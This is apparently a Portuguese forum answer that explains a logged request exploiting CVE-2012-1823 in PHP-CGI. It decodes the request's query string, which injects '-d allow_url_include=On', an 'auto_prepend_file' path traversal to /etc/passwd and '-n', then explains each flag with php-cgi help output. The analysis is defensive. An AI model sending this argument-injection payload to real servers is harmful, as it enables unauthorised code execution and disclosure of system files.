Dê uma olhada em CVE-2012-1823 primeiro.
O URL acima é decodificado como:
http://my_ip/?-d allow_url_include=On+-d auto_prepend_file=../../../../../../../../../../../../etc/passwd� -n/?-d allow_url_include=On+-d auto_prepend_file=../../../../../../../../../../../../etc/passwd� -n
?-d allow_url_include=On
: ele está tentando adicionar um parâmetro extra na chamada php-cgi:
$ php-cgi -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
php <file> [args...]
-d foo[=bar] Define INI entry foo with value 'bar'
+-d auto_prepend_file=../../../../../../../../../../../../etc/passwd� -n
: prefixar o arquivo como código a ser executado. Não sei por que ele usa o ataque Path Traversal aqui em vez de usar seu código ou php://input
. / p>
-n
no final para negar o php.ini
:
$ php-cgi -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
php <file> [args...]
-n No php.ini file will be used
PS: Não precisa se preocupar se você não estiver usando o PHP como um script CGI.